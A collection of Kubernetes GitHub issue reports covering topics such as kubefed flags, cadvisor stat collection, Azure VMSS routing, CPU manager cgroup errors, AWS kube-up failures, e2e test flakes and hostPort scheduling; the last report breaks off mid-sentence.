--etcd-pv-storage-class string             the storage class of the persistent volume claim used for etcd.   must be provided if a default storage class is not enabled for the host cluster.\r       --federation-system-namespace string       namespace in the host cluster where the federation system components are installed  default \ federation-system\  \r       --host-cluster-context string              host cluster context\r       --image string                             image to use for federation api server and controller manager binaries.  default \ gcr.io/google_containers/hyperkube-amd64:v0.0.0-master+$format:%h$\  \r       --kubeconfig string                        path to the kubeconfig file to use for cli requests.\r    \r \r   what you expected to happen  :\r i can set  imagepullsecrets  and  imagepullpolicy  for  kubefed init .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /cc @kubernetes/sig-federation-feature-requests

is this a bug report or feature request?  :\r  \r today, the kubelet runs cadvisor to collect node, pod, and container usage stats.\r \r the goal discussed in sig-node has been to split usage stat collection responsibilities as follows:\r   kubelet collects node and pod usage stats\r   container runtimes collect container usage stats\r \r the kubelet recently added support for the cri to optionally handle container usage stats.  in production systems, if stats are sourced from different sources, operators are paying a performance impact by having to source the stats twice  i.e. cadvisor collects all of it, and container runtimes collect it again .  as an operator of a large cluster with dense nodes, this impact is significant.  cadvisor itself often is the dominant user of cpu on these systems, so running an alternative stat collection agent for the same data makes no sense.\r \r the following issues must be mitigated if the long term goal is to be met:\r \r   kubelet must only collect the stats it cares about\r   collection interval skew between node/pod level stats and the runtime must be mitigated

when a crd clientset is built with  contenttype = \ application/vnd.kubernetes.protobuf\  , crd watch is not notified of updates.\r \t\r i think this was root cause of my suspicion around crd watch being broken   55538 \r

hi,\r \r @fejta-bot closes all ?  issues after 90d of inactivity. i understand the reasons but find that quite aggresive.\r \r if an issue was labeled properly and there isn't any other indicator that it might got stale  as in nobody cares anymore about it , it shouldn't get auto-closed. there is no reason to believe it got stale if in fact just nobody had time to look into it. it also sets an incentive to leave  +1  on each issues you run into, just leading to more noise.\r \r maybe stale issues should just get labeled as such and it's up to the sig maintainers to actually close it.\r \r /cc @fejta\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r the object output is far beyond human-readable in  kubectl auth reconcile  command.\r for example:\r 1. create a role by xiaomi-role.yaml\r xiaomi-role.yaml:\r    \r   kind: role\r   apiversion: rbac.authorization.k8s.io/v1\r   metadata:\r     name: xiaomi\r   rules:\r   - apigroups:  \ extensions\  \r     resources:  \ deployments\  \r     verbs:  \ get\ , \ list\ , \ watch\ , \ create\ , \ update\ , \ patch\ , \ delete\   \r    \r 2. here's another yaml file xiaomi-modify,yaml\r    \r   kind: role\r   apiversion: rbac.authorization.k8s.io/v1\r   metadata:\r     name: xiaomi\r   rules:\r   - apigroups:  \ \ , \ extensions\ , \ apps\  \r     resources:  \ deployments\ , \ replicasets\ , \ pods\  \r     verbs:  \ get\ , \ list\ , \ watch\ , \ create\ , \ update\ , \ patch\ , \ delete\   \r    \r 3. execute  kubectl auth reconcile -f xiaomi-modify.yaml --output=yaml\r  \r output of this command is 600+ lines, which is obvious too long to use.\r \r \r \r \r   what you expected to happen  :\r squash the output\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be a security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r cannot get my node networking to complete with using azure vmss with route table\r \r   what you expected to happen  :\r the networking to be configured\r \r   how to reproduce it  as minimally and precisely as possible   :\r use azure cloud provider with vmtype: vmss and azure route table, use the basic lb.\r \r   anything else we need to know?  :\r looks like we have a logic that is expecting a non empty vmsetname\r \r  create route stack \r \r    \r func  az  cloud  createroute ctx context.context, clustername string, namehint string, kuberoute  cloudprovider.route  error {\r     glog.v 2 .infof \ create: creating route. clustername=%q instance=%q cidr=%q\ , clustername, kuberoute.targetnode, kuberoute.destinationcidr \r     if err := az.createroutetableifnotexists clustername, kuberoute ; err != nil {\r         return err\r     }\r     targetip, _, err := az.getipformachine kuberoute.targetnode \r    \r    \r func  az  cloud  getipformachine nodename types.nodename   string, string, error  {\r     return az.vmset.getipbynodename string nodename , \ \  \r }\r    \r    \r func  ss  scaleset  getipbynodename nodename, vmsetname string   string, string, error  {\r     nic, err := ss.getprimaryinterface nodename, vmsetname \r     if err != nil {\r         glog.errorf \ error: ss.getipbynodename %s , getprimaryinterface %q, %q , err=%v\ , nodename, nodename, vmsetname, err \r         return \ \ , \ \ , err\r     }\r    \r    \r func  ss  scaleset  getprimaryinterface nodename, vmsetname string   network.interface, error  {\r     managedbyas, err := ss.isnodemanagedbyavailabilityset nodename \r     if err != nil {\r         glog.errorf \ failed to check isnodemanagedbyavailabilityset: %v\ , err \r         return network.interface{}, err\r     }\r     if managedbyas {\r         // vm is managed by availability set.\r         return ss.availabilityset.getprimaryinterface nodename, \ \  \r     }\r \r     ssname, instanceid, vm, err := ss.getvmssvm nodename \r     if err != nil {\r         glog.errorf \ error: ss.getprimaryinterface %s , ss.getvmssvm %s , err=%v\ , nodename, nodename, err \r         return network.interface{}, err\r     }\r \r     // check scale set name.\r     // backends of standard load balancer could belong to multiple vmss, so we don't check vmset for it.\r     //  sly : error is here. since vmsetname is empty\r     if !strings.equalfold ssname, vmsetname  && !ss.usestandardloadbalancer   {\r         return network.interface{}, errnotinvmset\r     }\r    \r \r as you can see  return az.vmset.getipbynodename string nodename , \ \    pass an empty string for the  vmsetname \r this is the only place where  return az.vmset.getipbynodename string nodename , \ \    is called and it is always with an empty string\r the  \ \   is pass all the way to  getprimaryinterface \r which tries to compare it with the extracted  ssname  in  if !strings.equalfold ssname, vmsetname  \r \r i’m using the basic lb\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.2\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  :\r - install tools: in-house  salt-based \r - others:\r  /assign @feiskyer

at begining k8s create deployment is fast, load average is 0.xx, 0.xx,0.xx.  but when with 20+pod in cluster, load average is 20+ in the deployment creating phase, and load average calm down to 0.xx,0.xx,0.xx after about 10min.  \r \r the deployement declare just include base metadata and image : \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: edi-bdio\r   namespace: dev-v3\r   labels:    \r     app: edi-bdio\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: edi-bdio\r   template:\r     metadata:\r       labels:\r         app: edi-bdio\r     spec:\r       containers:\r       - name: edi-bdio\r         imagepullpolicy: never \r         image: 192.168.52.7/open/edi-bdio:v4.4.008\r         env:\r         - name: environmentname\r           valuefrom:\r             configmapkeyref:\r               name: dev-v3-env\r               key: environmentname\r         - name: zookeeperurl\r           valuefrom:\r             configmapkeyref:\r               name: dev-v3-env\r               key: zookeeperurl\r         - name: applicationname\r           valuefrom:\r             configmapkeyref:\r               name: dev-v3-env\r               key: edi-bdio.applicationname\r         - name: port\r           valuefrom:\r             configmapkeyref:\r               name: dev-v3-env\r               key: edi-bdio.port\r         ports:\r         - containerport: 31006\r    \r \r 0.  no other processes  run when k8s creating deployment. \r 1.  just use  docker run  to deployment application image, the load average also  0.xx, 0.xx, 0.xx\r 2.  whatever the image is on cloud or in local, the result is all the same\r 3. kubelet , docker-engine , 'docker process in pod'  cost the  average 100+%cpu in the special time.\r 4. kubelet log just print some mount log, no error no warning \r \r environment:\r - k8s version: 1.9.3\r - docker version : 1.12.5\r - 192.168.52.7:  memory: 4g, 2g 4cpu,  linux 3.10.0 ,  master+harbor+etcd\r - 192.168.52.8:  memory: 4g, 2g 4cpu,  linux 3.10.0 ,  node\r - 192.168.52.9:  memory: 4g, 2g 4cpu,  linux 3.10.0 ,  node\r \r  \r

is this a bug report or feature request?  :\r  \r   what happened  :\r kubelet spams syslog with the following messages:\r \r > e0725 08:27:03.880692   55872 remote_runtime.go:302  updatecontainerresources \ 8f2acab777a52bb17ff5884908d635fceae63bcc48ec6e17396cdc93269add4d\  from runtime service failed: rpc error: code = unknown desc = failed to update container \ 8f2acab777a52bb17ff5884908d635fceae63bcc48ec6e17396cdc93269add4d\ : error response from daemon: cannot update container 8f2acab777a52bb17ff5884908d635fceae63bcc48ec6e17396cdc93269add4d: docker-runc did not terminate sucessfully: failed to write 0-1,4-15 to cpuset.cpus: write /sys/fs/cgroup/cpuset/kubepods/besteffort/podec2753a1-88e4-11e8-8dc3-9cb654aebf72/8f2acab777a52bb17ff5884908d635fceae63bcc48ec6e17396cdc93269add4d/cpuset.cpus: device or resource busy\r > \r > e0725 08:27:03.880718   55872 cpu_manager.go:267   cpumanager  reconcilestate: failed to update container  pod: kube-proxy-dmtlz, container: kube-proxy, container id: 8f2acab777a52bb17ff5884908d635fceae63bcc48ec6e17396cdc93269add4d, cpuset: \ 0-1,4-15\ , error: rpc error: code = unknown desc = failed to update container \ 8f2acab777a52bb17ff5884908d635fceae63bcc48ec6e17396cdc93269add4d\ : error response from daemon: cannot update container 8f2acab777a52bb17ff5884908d635fceae63bcc48ec6e17396cdc93269add4d: docker-runc did not terminate sucessfully: failed to write 0-1,4-15 to cpuset.cpus: write /sys/fs/cgroup/cpuset/kubepods/besteffort/podec2753a1-88e4-11e8-8dc3-9cb654aebf72/8f2acab777a52bb17ff5884908d635fceae63bcc48ec6e17396cdc93269add4d/cpuset.cpus: device or resource busy\r \r   what you expected to happen  :\r no error messages\r \r   how to reproduce it  as minimally and precisely as possible   :\r - setup a base environment with kubeadm\r - make sure that kube-proxy is running fine\r - configure kubelet to use the --cpu-manager-policy=static flags with --kube-reserved\r - deploy a pod with guaranteed qos\r - examine the syslog messages\r \r   anything else we need to know?  :\r the cpu_manager can't set the cpuset.cpus' value for that pod because kube-proxy configures an additional child group there:\r \r >     /sys/fs/cgroup/cpuset/kubepods/besteffort/podec2753a1-88e4-11e8-8dc3-9cb654aebf72/8f2acab777a52bb17ff5884908d635fceae63bcc48ec6e17396cdc93269add4d/cpuset.cpus\r >     /sys/fs/cgroup/cpuset/kubepods/besteffort/podec2753a1-88e4-11e8-8dc3-9cb654aebf72/8f2acab777a52bb17ff5884908d635fceae63bcc48ec6e17396cdc93269add4d/kube-proxy/cpuset.cpus\r \r apparently the cpu_manager does not expect an additional child group to be present there, and thus fails to configure that first before attempting to configure it's parent\r so far i experienced this behavior with kube-proxy only.\r \r this might be related to an old kube-proxy issue descibed in https://github.com/kubernetes/kubernetes/issues/17619\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r > client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > \r \r - cloud provider or hardware configuration: self managed cluster, consisting of 8 x hp proliant sl210t gen8 servers\r - os  e.g. from /etc/os-release : ubuntu 18.04 lts  bionic beaver \r - kernel  e.g.  uname -a  : \r \r > 4.15.0-24-generic  26-ubuntu smp wed jun 13 08:44:47 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kubeadm\r - others: n/a\r

i ran into this issue today re: https://github.com/googlecloudplatform/kubernetes/issues/12272  kubernetes has a ton of uses just through the client library, which is primarily in pkg/client, but the typical way to use golang libraries is to just do a simple import. vendoring is obviously golang's big gripe right now, and it's definitely getting better with 1.5, but many tools  including godep  default to a state where the vendoring only works for final applications, not for libraries that can be used elsewhere.  requiring external code to conform with kubernetes' specific usage of godep means the following things: 1. other libraries need to do special godep restores just for kubernetes code 2. these dependencies may conflict with other libraries' dependencies 3. gopath manipulation, special casing, etc  just a general pain :   potential solutions: 1.  godep save -r : this rewrites the import paths within kubernetes code, so no more  gopath  manipulation needed 2. use the party tool https://github.com/mjibson/party: we've been using this for a bit over at https://github.com/fsouza/go-dockerclient and it works just fine. 3. i don't know, i really only had 1 and 2, but i'm sure there's a thousand other solutions.  this would seem like a relatively big change, but it's not terrible, some of the development docs would need to be updated. this obviously needs a lot of discussion though. thoughts?  one other note: i forget which of godep and party have issues with getting dependencies across all values of  goos/goarch , i think both of them do actually, but generally i just do  goos=linux goarch=amd64  for linux-only apps when doing dependencies, and i think this is effectively what has been doine with godep right now but it should be noted somewhere for those who are developing on mac and then doing all local testing within docker containers.

https://github.com/googlecloudplatform/kubernetes/pull/2094 introduced into a validation method a cluster wide constraint check. this needs to be moved to registry.go or rest.go. validation cannot even in theory do this check properly, it's inherently racy. also imo validation should not have external dependencies  like a lister ; things that require global constraints be satisfied are not good candidates for validation checks, and should be checked at admission time, or write-to-etcd-time.

when attempting to use kubernetes on amazon aws is it advisible to launch cluster using /root/kubernetes/cluster/kube-up.sh  ?   my experience is it fails about every other attempt ... for example here is output   /root/kubernetes/cluster/kube-up.sh ... starting cluster in us-east-1c using provider aws ... calling verify-prereqs ... calling kube-up starting cluster using os distro: jessie uploading to amazon s3 +++ staging server tars to s3 storage: medssenger-kubernetes-artifacts/devel upload: ../tmp/kubernetes.p6z5f6/s3/bootstrap-script to s3://medssenger-kubernetes-artifacts/devel/bootstrap-script uploaded server tars:   server_binary_tar_url: https://s3.amazonaws.com/medssenger-kubernetes-artifacts/devel/kubernetes-server-linux-amd64.tar.gz   salt_tar_url: https://s3.amazonaws.com/medssenger-kubernetes-artifacts/devel/kubernetes-salt.tar.gz   bootstrap_script_url: https://s3.amazonaws.com/medssenger-kubernetes-artifacts/devel/bootstrap-script instanceprofile arn:aws:iam::092412661482:instance-profile/kubernetes-master    2016-06-08t00:13:20z    aipai4a4uv44pw3hyjl7c   kubernetes-master   / roles   arn:aws:iam::092412661482:role/kubernetes-master    2016-06-08t00:13:18z    /   aroajybq472y5rxp2e4z4   kubernetes-master assumerolepolicydocument    2012-10-17 statement   sts:assumerole  allow principal   ec2.amazonaws.com instanceprofile arn:aws:iam::092412661482:instance-profile/kubernetes-minion    2016-06-08t00:13:22z    aipaj6g6m74bgd7zccscs   kubernetes-minion   / roles   arn:aws:iam::092412661482:role/kubernetes-minion    2016-06-08t00:13:21z    /   aroaj5ddt3fkffvj3l754   kubernetes-minion assumerolepolicydocument    2012-10-17 statement   sts:assumerole  allow principal   ec2.amazonaws.com using ssh key with  aws  fingerprint: sha256:uxls3go/zerrynjawh0wsqi6c6gle36vb5ucmmqbobg creating vpc. adding tag to vpc-627ccd05: name=kubernetes-vpc adding tag to vpc-627ccd05: kubernetescluster=kubernetes using vpc vpc-627ccd05 adding tag to dopt-ee7eae8a: name=kubernetes-dhcp-option-set  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist  an error occurred  invaliddhcpoptionsid.notfound  when calling the createtags operation: the dhcpoptions id 'dopt-ee7eae8a' does not exist unable to add tag to aws resource    should i be using raw aws commands to launch the aws cluster onto which i will then deploy my app using kubernetes commands ?    above error is only one of _many_  aws errors which occur using kube-up.sh from time to time which have questionable root causes  __ or __ is it true that kubernetes on aws is half baked and not ready for production ?   my experience using google cloud   gcloud   as a kubernetes platform offers a much more stable infrastructure.

i am not sure this is possible, but it is intriguing.  we can capture some packets in iptables with the nfqueue target, and process them in userspace with something like https://git.netfilter.org/libnetfilter_queue/.  if we capture the start of a tcp session, could we inject a proxy protocol  http://www.haproxy.org/download/1.5/doc/proxy-protocol.txt  header?  this would be an option, obviously.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-aws/5737/  failed:  k8s.io  kubectl client  k8s.io  kubectl run deployment should create a deployment from an image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:145 oct 11 12:30:56.915: couldn't delete ns: \ e2e-tests-kubectl-h6rmt\ : namespace e2e-tests-kubectl-h6rmt was not deleted with limit: timed out waiting for the condition, namespace is empty but is not yet removed  &errors.errorstring{s:\ namespace e2e-tests-kubectl-h6rmt was not deleted with limit: timed out waiting for the condition, namespace is empty but is not yet removed\ }  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:359      previous issues for this test:  27532

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/18259/  failed:  k8s.io  proxy version v1 should proxy to cadvisor {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:146 oct 21 07:57:43.420: couldn't delete ns: \ e2e-tests-proxy-axr6c\ : the server cannot complete the requested operation at this time, try again later  get horizontalpodautoscalers.autoscaling   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ the server cannot complete the requested operation at this time, try again later  get horizontalpodautoscalers.autoscaling \ , reason:\ servertimeout\ , details:  unversioned.statusdetails  0xc420a0e1e0 , code:504}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:360

i am trying to build up fluentd+elasticsearch+kibana on my cluster.\r here are the steps i follow to deploy the apps all the yaml are from k8s project \r   start fluentd elasticsearch plugin:  \r kubectl create -f ./kubernetes/cluster/saltbase/salt/fluentd-es/fluentd-es.yaml\r   start elasticsearch:  \r kubectl create -f ./kubernetes/cluster/addons/fluentd-elasticsearch/es-service.yaml\r kubectl create -f ./kubernetes/cluster/addons/fluentd-elasticsearch/es-controller.yaml\r   start kibana:  \r kubectl create -f ./kubernetes/cluster/addons/fluentd-elasticsearch/kibana-service.yaml\r kubectl create -f ./kubernetes/cluster/addons/fluentd-elasticsearch/kibana-controller.yaml\r \r then in kibana  the index pattern logstash-  only show following field:\r _index  ,log  ,@timestamp,stream ,_source  ,tag  ,_id  ,_type  ,_score  \r \r there is no k8s related field. i can't do any k8s related query.\r \r is the fluentd-es issue? or the elasticsearch issue?\r \r i find following log in fluentd-es pod:\r    2016-11-08 08:59:28 +0000  warn : temporarily failed to flush the buffer. next_retry=2016-11-08 08:59:31 +0000 error_class=\ fluent::elasticsearchoutput::connectionfailure\  error=\ can not reach elasticsearch cluster  {:host=>\\\ elasticsearch-logging\\\ , :port=>9200, :scheme=>\\\ http\\\ } !\  plugin_id=\ object:1387ac4\ \r   2016-11-08 08:59:28 +0000  warn : /opt/td-agent/embedded/lib/ruby/gems/2.1.0/gems/fluent-plugin-elasticsearch-1.5.0/lib/fluent/plugin/out_elasticsearch.rb:122:in  client'\r   2016-11-08 08:59:28 +0000  warn : /opt/td-agent/embedded/lib/ruby/gems/2.1.0/gems/fluent-plugin-elasticsearch-1.5.0/lib/fluent/plugin/out_elasticsearch.rb:279:in  rescue in send'\r   2016-11-08 08:59:28 +0000  warn : /opt/td-agent/embedded/lib/ruby/gems/2.1.0/gems/fluent-plugin-elasticsearch-1.5.0/lib/fluent/plugin/out_elasticsearch.rb:277:in  send'\r   2016-11-08 08:59:28 +0000  warn : /opt/td-agent/embedded/lib/ruby/gems/2.1.0/gems/fluent-plugin-elasticsearch-1.5.0/lib/fluent/plugin/out_elasticsearch.rb:271:in  write'\r   2016-11-08 08:59:28 +0000  warn : /opt/td-agent/embedded/lib/ruby/gems/2.1.0/gems/fluentd-0.12.26/lib/fluent/buffer.rb:354:in  write_chunk'\r   2016-11-08 08:59:28 +0000  warn : /opt/td-agent/embedded/lib/ruby/gems/2.1.0/gems/fluentd-0.12.26/lib/fluent/buffer.rb:333:in  pop'\r   2016-11-08 08:59:28 +0000  warn : /opt/td-agent/embedded/lib/ruby/gems/2.1.0/gems/fluentd-0.12.26/lib/fluent/output.rb:338:in  try_flush'\r   2016-11-08 08:59:28 +0000  warn : /opt/td-agent/embedded/lib/ruby/gems/2.1.0/gems/fluentd-0.12.26/lib/fluent/output.rb:149:in  run'\r 2016-11-08 08:59:31 +0000  warn : temporarily failed to flush the buffer. next_retry=2016-11-08 08:59:39 +0000 error_class=\ fluent::elasticsearchoutput::connectionfailure\  error=\ can not reach elasticsearch cluster  {:host=>\\\ elasticsearch-logging\\\ , :port=>9200, :scheme=>\\\ http\\\ } !\  plugin_id=\ object:1387ac4\ \r   2016-11-08 08:59:31 +0000  warn : suppressed same stacktrace\r 2016-11-08 08:59:39 +0000  warn : temporarily failed to flush the buffer. next_retry=2016-11-08 08:59:54 +0000 error_class=\ fluent::elasticsearchoutput::connectionfailure\  error=\ can not reach elasticsearch cluster  {:host=>\\\ elasticsearch-logging\\\ , :port=>9200, :scheme=>\\\ http\\\ } !\  plugin_id=\ object:1387ac4\ \r   2016-11-08 08:59:39 +0000  warn : suppressed same stacktrace\r 2016-11-08 08:59:54 +0000  warn : temporarily failed to flush the buffer. next_retry=2016-11-08 09:00:24 +0000 error_class=\ fluent::elasticsearchoutput::connectionfailure\  error=\ can not reach elasticsearch cluster  {:host=>\\\ elasticsearch-logging\\\ , :port=>9200, :scheme=>\\\ http\\\ } !\  plugin_id=\ object:1387ac4\ \r   2016-11-08 08:59:54 +0000  warn : suppressed same stacktrace\r    \r parts of the elasticsearch log:\r     2016-11-08 08:59:54,501  info   node                        machinesmith  version 2.4.1 , pid 31 , build c67dc32/2016-09-27t18:57:55z \r  2016-11-08 08:59:54,501  info   node                        machinesmith  initializing ...\r  2016-11-08 08:59:56,331  info   plugins                     machinesmith  modules  reindex, lang-expression, lang-groovy , plugins   , sites   \r  2016-11-08 08:59:56,351  info   env                         machinesmith  using  1  data paths, mounts   /data  /dev/sda6   , net usable_space  861.4gb , net total_space  915gb , spins?  possibly , types  ext4 \r  2016-11-08 08:59:56,351  info   env                         machinesmith  heap size  989.8mb , compressed ordinary object pointers  true \r  2016-11-08 09:00:02,044  info   node                        machinesmith  initialized\r  2016-11-08 09:00:02,044  info   node                        machinesmith  starting ...\r  2016-11-08 09:00:02,219  info   transport                   machinesmith  publish_address {172.17.45.5:9300}, bound_addresses { :: :9300}\r  2016-11-08 09:00:02,223  info   discovery                   machinesmith  kubernetes-logging/zy3zz0vbs7iwloznisiqbw\r  2016-11-08 09:00:10,180  info   cluster.service             machinesmith  detected_master {sasquatch}{l7xim5bws9oxvc0uzijkdw}{172.17.83.5}{172.17.83.5:9300}{master=true}, added {{sasquatch}{l7xim5bws9oxvc0uzijkdw}{172.17.83.5}{172.17.83.5:9300}{master=true},}, reason: zen-disco-receive from master  {sasquatch}{l7xim5bws9oxvc0uzijkdw}{172.17.83.5}{172.17.83.5:9300}{master=true}  \r  2016-11-08 09:00:10,203  info   http                        machinesmith  publish_address {172.17.45.5:9200}, bound_addresses { :: :9200}\r  2016-11-08 09:00:10,203  info   node                        machinesmith  started\r  2016-11-08 09:00:46,001  info   monitor.jvm                 machinesmith   gc  young  41  13  duration  799ms , collections  1 / 1.4s , total  799ms / 6.8s , memory  138.4mb -> 92.4mb / 989.8mb , all_pools { young   51.3mb -> 12.1kb / 273mb }{ survivor   8.5mb -> 8.5mb / 34.1mb }{ old   78.5mb -> 83.9mb / 682.6mb }\r  2016-11-08 09:00:48,812  warn   monitor.jvm                 machinesmith   gc  young  43  14  duration  1.2s , collections  1 / 1.8s , total  1.2s / 8s , memory  140.2mb -> 101.5mb / 989.8mb , all_pools { young   47.8mb -> 826.3kb / 273mb }{ survivor   8.5mb -> 8.5mb / 34.1mb }{ old   83.9mb -> 92.2mb / 682.6mb }   \r

https://github.com/kubernetes/kubernetes/blob/master/examples/volumes/cephfs/cephfs-with-secret.yaml\r \r i found a pod sample here, is there a pv and pvc sample for cephfs?\r \r and i have run this sample successfully on my k8s cluster.

currently theren's no enforcement around statefulset volume templates, which means the burden is on the user to make sure there's no collision. a user can create:\r \r petset 1: petset  claim: alpha-beta\r petset 2: beta-petset claim: alpha\r \r and end up with a collision. the controller should be smarter, maybe we need something like parent-ref? \r @kubernetes/sig-apps-bugs @jingxu97

the test failed in both ci-kubernetes-e2e-gci-gce  and ci-kubernetes-e2e-kops-aws: \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws/5096\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/5059\r \r this blocks the submit-queue.

@bprashanth \r \r this test has been failing recently in the gce 1.5->1.6 upgrade tests. i had it marked as a flake but given the recent failures wanted to double-check to ensure there's not an underlying issue:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.5-1.6-upgrade-cluster/26 k8sio-services-should-work-after-restarting-apiserver-disruptive\r \r this job is spinning up a 1.5 cluster, upgrading to 1.6, then running the 1.5 e2e tests to check for compatibility.\r \r can you take a look asap and ensure this isn't a problem for 1.6? thanks.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   \r this is a problem that i found when testing https://github.com/projectcalico/k8s-policy/issues/109 . the problem is that when i use  hostport  mapping feature in calico, i was always need to specify pods  hostport  as following in  ports  section.\r \r    \r root@k8s001:~/calico2.4  cat pod.yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: nginx-host\r spec:\r   containers:\r   - image: nginx\r     imagepullpolicy: ifnotpresent\r     name: nginx-host\r     ports:\r     - containerport: 80\r       hostport: 80\r   restartpolicy: always\r root@k8s001:~/calico2.4  kubectl create -f ./pod.yaml\r pod \ nginx-host\  created\r root@k8s001:~/calico2.4  kubectl get pods -owide\r name                      ready     status    restarts   age       ip                node\r nginx-host                1/1       running   0          9s        192.168.124.143   k8s004\r    \r \r the problem is that if one node start two such pods, only one pod can be started and another pod will be pending always as it 